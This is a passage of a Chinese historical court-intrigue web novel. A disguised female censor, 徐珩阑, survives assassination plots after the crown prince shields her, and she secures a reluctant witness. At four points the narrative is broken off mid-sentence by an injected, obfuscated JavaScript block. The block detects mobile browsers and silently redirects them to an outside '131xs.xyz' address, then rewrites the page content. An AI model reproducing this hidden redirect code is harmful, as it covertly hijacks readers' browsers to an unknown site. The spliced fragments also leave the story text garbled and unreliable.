纪重珝一时看怔住了,徐珩阑平日里圆滑得过了头,和谁都应酬得来,有些八面玲珑的意思。此刻却似乎身上蒙了一层模模糊糊的纱,纪重珝看不清纱后面的影子,它只是像烛火一样摇曳,摇曳到朦胧的夜空里。
“聪明。”徐珩阑突然笑了笑,纱后的影子彻底消散,纪重珝也回过了神,“照你这么说,我们不如就将计就计。只是宋金这人难缠——我和他共事过一阵子,也略清楚他的手段。他这人和武官相处久了,也像武官那样手段毒辣了。今日恐怕他是铁了心要取我性命,不过这点既然我想到了,也不算是什么危险。”
纪重珝点点头,继续道:
“刚刚多谢你了。”
“什么?”徐珩阑一时没反应过来,但随即便想到是自己刚刚赶走娈童的事。
“若不是徐中丞婉拒那几个娈童,恐怕我就让他们发现了。”
“原来是这样啊,我倒是没想这么多。况且我以为你这么大摇大摆地来,是不怕别人发现呢。”徐珩阑话说得阴阳怪气,但纪重珝是出了名的“雅量高致”,还不至于因为这么点小事生气。
“既然官家差你我二人一起调查,我想总不该让徐中丞一个人涉险,因此便来了。”
“这么点小事还至于您亲自跑一趟。”
“至于。”徐珩阑吓了一跳,“总要有些诚意的。”
徐珩阑心想这人怕不是有点痴病,不过确实是个仗义人。即便纪重珝这么说,徐珩阑依然不太信——就算是为了“诚意”,至于一个人偷偷摸摸地跑来吗?掉不掉价?
纪重珝别过头,似乎在刻意躲闪徐珩阑的目光。过了一阵,好像下定了决心,但又有些犹豫,他转过头,深呼一口气道:
“徐中丞明知宋金要借此机会杀你,还敢‘以身入局’,不怕棋差一着,真……”纪重珝说着说着,撞上徐珩阑的目光。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299169|182729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你怕我死了?”徐珩阑语气平稳,“我无亲无故的,死了便死了,我倒是也不在意。你要是担心案子的事,那你大可放心,就算是我死了,也有的是人查。”
纪重珝好像还想说什么。看他那神情,徐珩阑微微皱眉,道:
“你一个人来,是不是还有……算了,不讨你嫌了——快些回吧。若是你有个三长两短,我可担不起这责。”
徐珩阑说着便推门出去。门外天色已经很暗了,夜宴也渐渐要散了。
宋金到最后也没什么动作。无奈之下,徐珩阑只好也打道回府。
车上,暗云问道:“没动静吗?”
“什么都没有。”徐珩阑用手掸了掸衣袖上的灰,“宋金这个人,最沉不住气——他不会放过今晚这个机会的,只不过不是在他的梅园里动手罢了。”
“宋金当真会派人来杀侯爷吗?”
徐珩阑收回手,淡淡道:“那是自然。当年在辰州时,我们两人都为林国公效力,那时他就对我怀恨在心。更不用说现今林国公怀疑我有他心,更是给了宋金个机会除掉我。”
徐珩阑继续笑道:“况且我刚刚查办了楚炜,若是他再不动手,最迟明天,就查到身为签书枢密院事的他身上了。”
“侯爷还笑得出来。”暗云失笑,“是真不怕死,还是早就想到法子应对了?”
徐珩阑头靠壁,闭上了眼睛。
“我能有什么法子?等着死吧,我看我们没救了。”
暗云没当真,笑问道:“侯爷今日遇见什么人了,怎的这么高兴?”
闻言,徐珩阑睁开眼,忙问道:“从哪看出来我高兴了?”
暗云笑眯了眼,看着徐珩阑,笑而不语。
“你这小蹄子。”徐珩阑笑骂,“打开我的趣了,过几日还要反了天了。”
“都死到临头了,还不许说几句玩笑话?”暗云笑应道,“我偏打趣。谁心里有鬼,侯爷心里跟明镜儿似的,现在又装什么不懂呢?”
徐珩阑笑笑,手撩开车帘——外面是漆黑的山林,身后的灯火越来越远。
突然,车停了下来。
徐珩阑睁开了眼,笑道:“死期到了。”
刀剑声、惨叫声、人倒地的闷响,在那一瞬间混成一团。
接着便是诡异的寂静,一双手突然撩开溅满血迹的车帘。
5. 漳京城外皇城救险 徐侯府内东宫挡刀
一双手缓缓撩开那溅满血迹的车帘。看到来人的脸后,徐珩阑笑道:
“来得真及时。”
纪重珝没说话。徐珩阑和暗云下了车,车外是皇城司一众,和倒地的山贼尸体。
“真没想到宋金竟然和这些贼寇有勾连。”一个亲从官道,“侯爷真是神机妙算,竟连这一步也算到了。”
徐珩阑笑而不语,既没承认,也没反驳,转头朝纪重珝道:
“今日多谢殿下了。我看天色已晚,若殿下不嫌弃,不如到寒舍将就一晚?”
此言一出,在场的众人都有些诧异。纪重珝也很惊讶,不过他看了看徐珩阑,好像明白了她的意思。
“那便这样好了。”
纪重珝都这样说了,皇城司一众虽然想阻拦,但也不好开口了。
一行人回了徐府,待都安定下来时,纪重珝和徐珩阑在蘸青馆的院子里议事。案上摆了紫苏饮,已是深夜,因此并未摆什么点心。
万籁俱寂,只隐隐听得到蝉鸣。纪重珝突然开口问道:
“既然已经败露,难说宋金不会拼个鱼死网破,在徐府内动手。”
“殿下聪明。”徐珩阑笑道,“宋金今日不杀我不罢休,若他安插在徐府里的人看到我平安回来了,定会再次动手。”
“安插在徐府的人?”纪重珝又道,“宋金除了买通车夫,将徐中丞引到贼寇那里去,竟然还在徐府内安插了人手,真是老奸巨猾。”
他又问道:“既然如此,叫孤来又是为何?”
“殿下可是微臣的‘护身符’。”此言一出,纪重珝的眼睛里似乎被惊起了一瞬间的波澜,但很快归于平静。
徐珩阑好像没看见似的,但嘴上还是解释道:“有殿下这个活祖宗在,谁敢对微臣动手呢?”
纪重珝知道她是说自己和她待在一起,刺客必然会有所忌惮。毕竟杀个官员事小,刺杀太子事可就大了,谅那人也没这个胆子。
“不过也不好说,难说那刺客会不会不顾背上刺杀太子的重罪,也要夺我性命。不过要真是那样,也算一件好事。”
“你是说,若孤也被刺,必能使官家动用皇城司彻查此事,若是皇城司也参与其中,一定能查到宋金头上。”
“正是如此,若微臣被刺杀,顶多是大理寺来查。不巧,现任大理寺少卿叶楷,恰好是宋金的表兄。他当然是遮遮掩掩,尽力想消除证据,到时恐怕宋金被摘得干干净净。御史台又净是一群胆小怕事之辈,想来对此也不敢言语。到那时,微臣可是白死了啊。”
纪重珝看着她——他的眼睛好像总是藏了什么,瞳孔深不见底。见状,徐珩阑笑道:“殿下放心,微臣一定舍命护驾,不会让殿下伤到一分一毫的。”
闻言,纪重珝失笑。
“你我都是善文不善武,到时恐怕是谁也护不了谁。”
徐珩阑大笑道:“论武艺,微臣不敢说,不过是有几分愚忠罢了。”
纪重珝知道她是指今早朝上的事,两人笑了一阵。难得两人聊得尽兴时,徐珩阑突然问道:
“微臣是不是在何处见过殿下?”
话问得突兀,且莫名其妙。徐珩阑到京任职已有四年,虽然说中间曾回乡丁忧,但在京中的时间仍不算短。每日上朝、议事,不知每天见太子几面。更不用说徐珩阑升为御史中丞后,因职务原因,常到东宫去,当然见过纪重珝。
但纪重珝隐约听得出来她什么意思,但还是问道:
“徐中丞这是何意?”
“微臣想问,殿下与微臣,是否在私下里见过面?”
纪重珝眸子一动,未等他回答,馆外人慌乱的声音打破了寂静。
“走水了!”
江离突然跑过来,忙道:“侯爷,太爷书房走水了。”
老书房?徐珩阑一惊——老书房和蘸青馆恰好在两个方向,现今那人在老书房放火,恐怕是故意制造骚乱,好趁乱动手。
她回头看看纪重珝,纪重珝示意,命和他一起的薛荔等人不要理会,只留在这里。
“我们先到屋里去,不要妄动。”徐珩阑的脸在夜色衬托下,有几分玉的光泽。鼻尖像是刀削的,冰凉的、精致的棱角。纪重珝看着她,点点头。
几人到了屋中,薛荔、扶留、石帆、水松并江离、江寻、江归等人在外守着。
“你这几个小厮看起来都不像等闲之辈,难不成是有武艺在身?”
“略有一些罢了,想杀我的人太多,总得找几个练家子防身。”徐珩阑想了想,又加道,“看来微臣不用舍命护驾了,这么多内廷侍卫在,还能让殿下受了伤不成?”
纪重珝笑而不答。徐珩阑又道:“不知这个混入府中的叛徒是谁,为了找出他,布了这么大的网,总不要让我失望啊。”
“嘭——”
说话间,门外传来一声巨响,接着便是短兵相接的响声。大概打了一阵,纪重珝突然道:
“来了。”
徐珩阑一愣,随即便发现他说的不是刺客到了蘸青馆,而是刺客从侧面潜入屋内。
接着便是江离的一声听不清内容的怒吼,后面几个陌生的声音跟着附和。他们都是吼着说话,“呼呼呼”像风、像墙破裂的声音。
墙确实被撞破了,一个看不清人影的人冲进来。接着便是一团混乱,香几、盆景、众多昂贵的瓷器在那一瞬间化为模糊刺耳的声音,烟一样飘走,模糊她的神智。
或许血让她更清醒些,风一吹,恰好是反方向,血溅在她脸上,还是热的。
但不是她的。
“殿下!”薛荔率先发出一声不成样子的惨叫,凄厉地刺穿密不透风的夜色。夜色的窟窿里吹来风,吹凉了脸上的血。
徐珩阑颤抖着蹲下身,用同样颤栗的手抚过纪重珝的衣服纹理,像血管,似乎衣服下面在流血——确实在流血,可是慢慢晕开的血,温热缓慢地抵达她指尖。
“你疯了?”徐珩阑半晌挤出一句话,听着好像有哭腔,“为什么帮我挡剑?”
她声音很小,像是喃喃自语。眼前的事让她不能理解,荒唐而扭曲。在那背后的事物,她很陌生,可从前见过,在她遥远的少年时代见过,但随着那个人的死也一起烟消云散了。
“为什么?”
突然,她意识到了——再不找人医治,纪重珝会死的。
“别喊了,快去找太医,快啊!”
薛荔哭得一把鼻涕一把泪,点点头,忙和扶留一起出去找太医了。
“搭把手。”她的声音冷静得让她自己都惊讶,“先想办法止血——你们应该比我在行,要什么尽快说。”
几人先把纪重珝抬到床上,水松略通一点医术,因此为伤员简单包扎了一下。
江离江寻出门帮水松取东西;江归也受了重伤;石帆则叫来几个人一起,把刺客的尸体收了起来。只一个人还有气,因此先被关在柴房,等明早再解决。
正在众人手忙脚乱之时,徐珩阑反而没什么能插上手的。在屋里怕影响水松,还是出来等着。
天边微微发白,只沁出一点光来,黑夜就被驱散了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299170|182729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不少。不知太医会不会不来,不过这是她瞎担心,太子重伤,太医怎么会不来呢?
要是他没帮自己挡那一刀就好了,她宁愿挨刀的是自己,也不愿承受现在郁结在胸的难以言状的感受。在那一瞬间,占据她心最多的,竟然不是懊悔,而是困惑。
她抬起头,湿润微凉的风吹起碎发,稍稍缓解她脸上火烧似的烫。
“阿姊,我还是这么没用啊。”
突然,身后的门一响,水松的声音也随之响起。
“侯爷,王太医到了。”
徐珩阑忙转身,几步走进屋子。王太医正为纪重珝把脉。
纪重珝紧皱着眉,额头冒出几滴虚汗。
“伤口倒是没什么大碍,只是殿下突然发起热,这是怎么一回事?”
“殿下之症,乃伤口炎症作祟,致使内热积聚,故而发热不止。依微臣之见,当务之急,需以降火解毒之法,舒缓炎症。如此,方可使殿下龙体渐愈,恢复康健。”
说罢,王太医写了药方子,上面不过是黄连等药,并没什么新奇东西。
水松得了药方,正要命人出去抓药,被徐珩阑拦住。
“这上面的药府里都有,叫他们从库房里取出来就是了。”说着,就出门叫来黎云,开库房取了药出来,煎了让纪重珝服下。
此后,徐珩阑就一直守在纪重珝榻前,甚至亲自喂药照料。
手忙脚乱了几个时辰,待天大亮时,纪重珝烧也退了。徐珩阑也是多病之身,经这么一晚上折腾,差点旧病复发,见纪重珝已无大碍,她便回房睡去了。
待纪重珝醒来时,薛荔将昨晚的事一五一十地告诉了他。
“侯爷也算是个重情义的人,殿下替他受伤,他便亲自照料,怪不得能当大官,果真重情重义。”
纪重珝听后,并没说什么。过了一阵,府中有人送早饭来。摆来一看,是胭脂米粥并几样清淡小菜。
“太医叮嘱过,要清淡饮食,委屈殿下一阵了。”
“这有什么委屈的?”纪重珝接来粥,“人家拿压箱底的宝贝待客,哪里就委屈了?”
“说起来……”纪重珝本想问徐珩阑,但当着薛荔的面,又不方便问出口。
他想见徐珩阑一面,当面问问当时她说的“在私下里见过面”是什么意思。
“难道她发现了吗?”纪重珝不禁暗想。三年前,在许江宴上,他确实见过徐珩阑一面。
那时的徐珩阑还是殿中侍御史,或者说,是徐家的姑娘、“徐珩阑”的妹妹。
究竟是男扮女装,还是女扮男装,纪重珝不敢肯定。毕竟徐珩阑本就长得有些雌雄莫辨,有男子的声音,又有女子的身形。可徐珩阑是出了名的“药罐子”,体态比寻常男子纤弱也正常。
他果然还是想当面问徐珩阑个清楚。纪重珝也觉得自己奇怪,毕竟他从来都是不爱管闲事的人,现今竟对徐珩阑是男是女这么纠结,无论如何都要个答案。
纪重珝不清楚自己心里升腾起来的是什么,又为什么帮徐珩阑挡刀呢?这好像是下意识的举动。自许江宴一别,他就难以抑制地想要再见徐珩阑一面,可偏偏她回乡丁忧,三年都不得见。
徐珩阑这个人好像天生带毒,不然为什么会让自己这么心烦意乱,偏又在看到她的时候心安下来呢?
“徐中丞……还在吗?”
纪重珝完全是想多了,薛荔根本没觉得纪重珝问起徐珩阑有什么奇怪。他应道:“刚回房没一阵,又出去了,也不知去了哪,不过应该很快就回来了。”
6. 宋签君屈膝求罪证 徐中丞掩面探暗楼
距宋金那铺张奢华的梅园雅集已过了半日,此时的钱府却是死气沉沉。
钱家的老太君——韦含雁,正和小重孙玩得高兴,一旁一个美艳的年轻妇人反倒看着窗外的池塘出神。
那妇人美得连窗外娇俏的芙蓉都黯然失色,即便日日服侍她的丫鬟婆子都忍不住侧目多看她几眼。
“凝丫头,坐在那潮地方半日,当心着凉。”
林凝一愣,苍白细腻的手指微微颤了一颤,缓缓回过头来,笑道:“多谢老太太挂念,孙媳看这芙蓉漂亮,一时看怔住了。”
韦含雁看着这个过分美貌的孙媳,一时有些移不开眼。
她由着奶娘抱走重孙子。奶娘边逗孩子,边说道:“屿哥儿真是随了新妇姐,我奶了几个孩子,还是属屿哥儿招人疼。”
林凝敷衍地笑笑,但看自己亲生儿子的眼神里却有藏不住的嫌恶。
韦含雁看在眼里,忙说道:“快把屿哥儿带走,没来得在这里讨人嫌。”
林凝听了,没有一点表示,只是静静坐在原处,仿佛毫无生气的美人灯。
“凝丫头要是嫌屿哥儿吵闹,以后让吴妈妈带着,她年纪大,最是会带孩子的。”
林凝没应声,也没开口反驳。
韦含雁吃了瘪,有些尴尬地笑了笑,又没话找话道:
“你父亲这几日身子如何?漳京比辰州可是冷多了,也不知住不住得惯。”
林凝依然不理会,她好像在专心致志地思考什么,又好像什么都没想。她人似乎在这,但思绪早不知飘到哪里去了,但或许她并没有什么“思绪”,只是具空壳罢了。
这么一番下来,下了韦含雁好大的面子。即便这样,韦含雁也不敢动怒,依旧笑嘻嘻的,连周遭的丫鬟婆子都有些看不下去了。
这时,突然有人传话来。
“太夫人,老爷回来了。”
“既然父亲要来,那孙媳就先告退了。”
没等韦含雁说话,林凝就自顾自地站起来走了。
过了半晌,换了家常衣裳的钱正言进来请安。
“母亲。”
“这几天你受累了。”
“儿子刚刚在后面听了半晌……”钱正言走上前,为韦含雁捶腿的丫鬟忙退到一旁。年过半百的钱正言蹲下身,为母亲捶腿。
“儿子有一句话,不知当说不当说。”
“说来便是。”
“母亲待孙媳未免也太殷勤了些,再疼爱孙媳,也不必这么着。”
“糊涂!”韦含雁恨铁不成钢地敲了敲钱正言的头,“凝丫头可是林国公的姑娘——你能有今日,还不是托了林国公的福?他器重你,这才愿意和你结亲家。你也不知惜福,反倒教训我溺爱孙媳、坏了规矩。”
“儿子岂敢教训母亲?”钱正言忙赔罪。
“况且林家大姑娘现今已是贵妃。我们钱家没落了这么些年,还是头一次与天子做亲戚——还不都是林国公肯提携?”
“盛极必衰啊。”钱正言笑叹道。
“呸呸呸,净说些丧气话。”
“怎见得是说钱家呢?”钱正言笑着摇头,“我们钱家,还没到“盛极”的地步,怎就会走下坡路呢?”
韦含雁看得出钱正言的心思,她俯身,苍老的手轻轻搭在钱正言背上,道:“你现今做了大官,怎么不算是“盛极”?”
钱正言抬起头,握住母亲的手,“我虽身居高位,却没一件事做得了主。而那些人虽早已辞官隐居,却权倾朝野、只手遮天。如此看来,即便官位再高,无权在身还不是一样任人摆布?”
“我都如此,那个刚被扶上中丞之位的小子,更是如此——表面风光,事实上还是没权没势,连性命都握在别人手里。”
“无知者无畏啊。”钱正言叹道。
内院,林凝正准备回房时,丫鬟水仙突然追上来。
“奶奶,舅爷到府上来了。”
林凝柳眉一挑,缓缓道:“让舅舅稍候片刻,我去换了衣服便来。”
此时的外院,正心堂,宋金正在堂内焦急地走来走去。他心情烦躁,鬓边早已被汗水浸湿。
正水仙走进来,宋金一见到她就迎上去,抓住水仙的手就问道:“还没来么?怎的这样慢?”
水仙避之不及,任宋金汗滋滋的手抓了一阵子,有了机会便有些嫌恶地甩开宋金的手。
“舅爷也是老大不小的人了,还这么不见外,当心叫人看了笑话。”
宋金闻言,看水仙更觉娇俏可爱,忙凑上来道:“我是你们奶奶的舅爷,是林国公的小舅子,谁敢笑话?”
“我也是从林府来的,打量谁是傻子呢?谁不知道你……”
水仙正欲说,宋金的妹妹并不是林国公的正房夫人,不过是宋金为了攀林国公这门亲,硬生生让自己妹妹给人做小。只是没等水仙说话,林凝就已换好衣服,款款走入正心堂。
见林凝进来,地下的婆子丫鬟忙上来伺候,与宋金刚进来时形成了鲜明对比。宋金虽然嘴上逞强,但心里也知道自己不是林家正牌亲戚。
现今又因为办事不力在林府受了冷遇,再看到眼前林凝的排场,更是气不打一处来,心里的憋屈千言难尽。
但此时还是上前强笑道:“外甥女今日身子还轻快?”
林凝优雅地握起茶盏,缓缓举起,啜饮了一小口,待咽下肚后,再放回案上。
宋金在一旁看了一肚子火,但也只好忍下来。
“外甥女,舅舅此刻算是走到了绝路上。”宋金说得好不可怜,“奶奶明鉴呐,昨日我满心想着能成就一番大事,可谁承想,竟被那徐行这乳臭未干的黄口小儿算计,生生坏了我的事。如今呐,连林国公都不愿见我,我巴巴儿地去求见,却被无情拒之门外。我实在是走投无路,没了法子,才不得已来叨扰奶奶您这清净地儿。奶奶,您一向慈悲心肠,就可怜可怜舅舅我,拉我一把,不然舅舅我可就真的没活路啦。”
见林凝依旧不说话,冰冷美艳的脸没有丝毫表情,一副漠不关心的样子。宋金咬咬牙,“扑通”跪地。
众人见了,都慌了神,都劝宋金不必这样。还有人上手扶他,可宋金好像粘在地上似的,死活都不起来。
“我知道奶奶是做得了主的,连国公恐怕都畏奶奶三分。奶奶若能帮我,我宋某就算给奶奶当牛做马,也要还了这恩情。”
听了这话,众人都不由得僵在原地。过了半晌,等僵硬的空气再也撑不下去时,林凝终于开了口。
“起来说话。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299171|182729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>宋金忙站起身来,汗却滴到地上。
“你们先出去,我们舅甥之间有几句话说。”待众人都出去时,林凝叫住水仙。
“回头告诉太太,我今日不到她那里用饭了。”
林凝虽然是儿媳,但在这家里的地位出奇的高。她既然说不吃,就算是太太也不敢说什么。水仙应下,转身出去了。
“舅舅虽不是我正经舅舅,但若是舅舅有难,有我能帮上忙的,我自然是会帮的。”
宋金喜不自禁,忙道:“既然这样,那……”
“只是我现今不过是个寡妇,舅舅还是少来麻烦我的好。”
“知道奶奶喜清静,舅舅我也不要其他,只求那一纸卖身契。”
林凝看了看他,又道:“我早和你说过,那徐行是个人物,你要处处小心才是。谁知你仗着和徐行在辰州共事过几日,便真不把他放在眼里。”
宋金点头附和道:“正是,那徐行狡诈得很,平时装的一副人畜无害的样子,谁知早憋着坏心。”
“那卖身契确实在我手里,不过你要和徐行斗,还需一样东西。”林凝微微一笑,继续道:“帘光巷里住了一位叫……”
林凝贴近宋金,耳语了一个名字。宋金听后,忙作揖,笑道:
“改日必有重谢。”
“不必了。”林凝坐回去,慢条斯理地喝了一口茶,“若你真有本事能把徐行扳倒,我倒敬你是个人物。”
在林凝和宋金两人说话间,徐珩阑和江离却骑马出了徐府,到了一处偏僻的巷子。
道路狭窄,徐珩阑不得不下马,江离在后跟着。进了巷子,路旁满是无家可归的人,有的人披头散发,身上全是伤,散发着恶臭;有的人则全身长满了红斑,蜷缩在角落里不知在自言自语什么,仿佛孤魂野鬼。
整条巷子污水横流,苍蝇在伤口上吮吸着人血,一股难以言状的恶臭在这条巷子里弥漫。
一入巷子,徐珩阑下意识皱紧了眉,用帕子捂着口鼻。
“侯爷,这……”江离有些为难,向徐珩阑耳语道,“这些人怕是有脏病,还是不要接近为妙。”
徐珩阑反常地沉默,仍向里走去。路旁的人看到徐珩阑和江离两人,纷纷抬起头看着,好不瘆人。
突然,一个披头散发、衣不蔽体的人跑上来,死死抓住徐珩阑的衣角。
“老爷,老爷,行行好吧。”
江离忙上去把那人赶走。
“侯爷,您真要去吗?”
徐珩阑沉默地点点头,江离也看出来徐珩阑和平日不同,忧心忡忡地跟上。终于,两人走到一家人门前。没等徐珩阑敲门,那门就开了,开门的是一个老妇人,虽然穿着粗布衣裳,但很干净整洁,和门外的人截然相反。
老妇人眯起眼打量了徐珩阑一番,随即笑道:“客官,走错了,从前门进。”
“我不是来‘喝茶’的,我来找初翠姑娘。”
闻言,老妇人有些诧异,但还是开门让两人进来了。她带着两人弯弯绕绕,领两人到了一间昏暗简朴的房间内。屋内一个佝偻的老妇人坐在床前。
“初翠,你说的人来了。”
临走时,领路的老妇人看了徐珩阑一眼,转身关上了门。
“坐。”
7. 重金易求老妪心悔 厚恩难许佳人魂牵
“不必了,说几句话就走。”
语气十分冰冷,以至于听起来十分陌生,仿佛是从另一个人口中说出来的。江离不禁看了看徐珩阑——她好像变了一个人,江离从来没见过这种表情的徐珩阑。
“是你啊。”老妇人听出来是徐珩阑,随即笑道,“你是来替那个暗娼报仇的吗?”
“都过去了,我知道她是自己投河死的,怨不得谁。”
“是啊。”老妇人仰头,浑浊的灰眼珠望向房梁,“真要说起来,应是官人你,害死了她。”
徐珩阑心里恼火,面上只是笑了笑,眼里死死盯着老妇人那双浑浊的眼珠。
“人都死了,说这些还有用吗?”
“官爷屈尊来这,就是为了和我说这些?”
徐珩阑沉声道:“从前的事我不再提,可作为交换,我想请你帮我一个忙。”
闻言,老妇人大笑起来,笑声沙哑而疯癫。
“我都是半截身子入土的人了,当年的事,官爷计较不计较,我已不在意了。要杀要剐尽管来,我正愁活着麻烦,不如一死痛快!”
“就算亲生儿子还活着,也愿意一死了之吗?”
初翠的脸突然舒展,像脱水的木耳被扔进水里,她近乎疯狂地摸索着抓住徐珩阑的衣沿。
“你说什么?”
“当年江南发洪水,你和亲生儿子走散。你一直以为他死了,可是并没有,他被人牙子抓住,被卖到了江南大族做家奴。”徐珩阑冷眼看看初翠颤抖的脸,继续说道,“找到他后,我出钱把他赎了出来,现今他人在辰州,我派人给他购置了几亩薄田,应是够你们吃穿用度了……”
“求求官人让我见他一面,让我见他一面吧!只要一面,只要能见他,让我做什么都行,就是我给您当牛做马,我也愿意。”
“不光是见他一面,我会送你去和他一起生活,让你们母子团聚。钱你不用操心,我会给你们一笔钱,从今以后重头来过,好好享享天伦之乐。”
初翠几乎是连滚带爬地跪倒在地,不住地磕头。
“官人大恩大德,宽宏大量,官人要我做什么,我便做什么,任凭官人差遣。”
“很简单。”徐珩阑面无表情,丝毫没有为眼前的景象动容。
“若有人让你为当年的事作证,公堂之上,你只需要把实情说出来就是。”
初翠不相信地抬起头。
“但要是让我听到你有半句谎话……”徐珩阑突然一把抓起初翠的领子,一字一顿地道:
“你就再也别想见到他了。”
初翠的眼睛动了动,像僵硬的死鱼的眼睛。徐珩阑也不顾她回应,转身就走。
出了屋子,就听到一阵细若蚊丝的啜泣声,循声看去——一个十二三岁的小女孩趴在地上,捂着脸哭个不停。她的脚腕上满是伤口和淤青。
江离很为这个场景惊讶,别过头,不忍多看。徐珩阑倒好像没看见似的,径直向前走去。但江离隐隐听到徐珩阑呼吸加重,一种无形的火在空气中隐秘地燃烧。
出了巷子,江离问道:“侯爷,就没什么法子帮帮那姑娘吗?她们也太……”
徐珩阑什么都没说,只是翻身上马,向御史台的方向去了。
散衙后,徐珩阑已是疲惫不堪。她应过下属们的问候,拖着疲惫的身子回了徐府。
回府后,在书房见了暗云,徐珩阑道:“对了,有件事忘了说,今早王太医回了官家,说殿下的伤需静养。因此官家下旨,让殿下暂缓回宫,我看官家恐怕是气殿下自作主张,故意要冷他几日。不过于我们倒是都无所谓,只是殿下恐怕还得再住几日了。”
“劳侯爷操心,上午宫里派人来吩咐过了。”
徐珩阑难掩疲惫,强撑着点点头。
“对了,赶明儿请殿下移驾秋明轩吧。蘸青馆到底还是小,又出过事,总叫人住在那里,也不成个样子。”
闻言,暗云掩嘴笑道:“早知侯爷要这么安排,我上午就差人把秋明轩收拾出来了,明日就搬。”
“劳你费心了。”徐珩阑怔了怔,“你先去吧,我没什么事了,让我一个人静一静。”
暗云一愣,虽然心里担忧,但还是应下了,出去了。
徐珩阑本欲看看书,奈何不过翻了几页,就心烦意乱,一个字也读不进去。合上书,又走到窗边,再走回来,一时也不知该去哪、该做什么。
她干脆出了书房,到了院子里。一出书房门,却看到廊道边上站了个身姿曼妙的女子。那女子背对着她,徐珩阑以为是府里的丫鬟,没太在意。
“栏儿,栏儿……”
女子的声音仿佛鬼魅。
徐珩阑抬头,她感觉地面朝她扑来,但她突然觉得很舒服、很安心。
“栏儿,栏儿……”
徐珩阑躺在竹床上,一个女子为她扇着风,扇子上画着一个在廊道上站立的女子,她叫徐珩阑“栏儿”,她向徐珩阑招手。
“你还害我害得不够吗?”
那个女子掐住徐珩阑的脖子。既是廊道上的那个女子,也是竹床旁的那个女子。
“你是谁?”徐珩阑问道,“你为什么知道我的名字?”
朱红的指甲嵌入肉里,可徐珩阑一点都不觉得疼。那个女子红了眼睛,仿若厉鬼,徐珩阑终于看清了她的脸。
“你害我丧命还不够!我死了,你竟还拿我为仕途铺路,你这黑心烂肺的,好狠的心呐!”
徐珩阑挣扎着摇头,可一句话都说不出来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299172|182729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她的声音仿佛都顺着女子的手指流走。
令人窒息的黑暗。突然,徐珩阑像溺水的人刚刚得救一样,贪婪地呼吸着空气。
她缓缓睁开眼,眼前很模糊,但隐约看得清脸。
“殿下?”话一出口,纪重珝险些没认出来——那语气带着哽咽,与平日里游刃有余的徐台长简直截然两人。
像是在和及其亲密的人面前才会露出的脆弱,可也只是一瞬。
“徐中丞……你……”
徐珩阑感觉鼻翼冰凉,伸手一摸,是眼泪。
“抱歉,让殿下见笑了。”徐珩阑恢复了平日里那拒人千里之外的语气,挣扎着要站起身,但还没等站起来,就双腿发软,快要向后栽倒。
没想到,她感受到有人用手臂接住了她。在纪重珝手臂碰到徐珩阑腰肢的那一瞬,徐珩阑能感觉到他僵了一下。
徐珩阑抬头看看纪重珝,好像有点不知所措,但就由着他扶她走了。
“殿下的伤还没好完全,我叫暗云来就……”
“中丞今日是怎么了?”
闻言,徐珩阑笑容一僵,渐敛笑意,沉声道:
“大概是劳累了吧,多谢殿下担……”
见徐珩阑还在隐瞒,纪重珝一时顾不上分寸,问道:“看中丞这样子,恐怕不是劳累这么简单吧?”
此话一出,纪重珝自己也有些忐忑:他太越界了,就算是皇帝,也不该过问臣子的私事。况且两人是什么关系?真要论起来,其实也不远不近,比陌生人稍强一点罢了。
他好不容易才稍稍离她近了一点,他不想因为自己的鲁莽,再被推到千里之外。
徐珩阑愣了一阵,笑道:“殿下多虑了,只是劳累而已。”
“嘭——”纪重珝听到一声巨响,他感觉到自己身在空旷的荒野上,没有人,也没有任何声音。
徐珩阑看着他,似乎也注意到他的失落。她摇摇晃晃地站稳,淡淡道:“微臣应是没什么大碍了,多谢殿下出手相助,若没什么事,微臣就先……”
徐珩阑正欲离开,没想到一只手抓住她的手臂。隔着衣服,徐珩阑能感受到那只手在颤抖。
“我自觉不该过问中丞的私事。只是,你这样失魂落魄,叫我怎么不……”
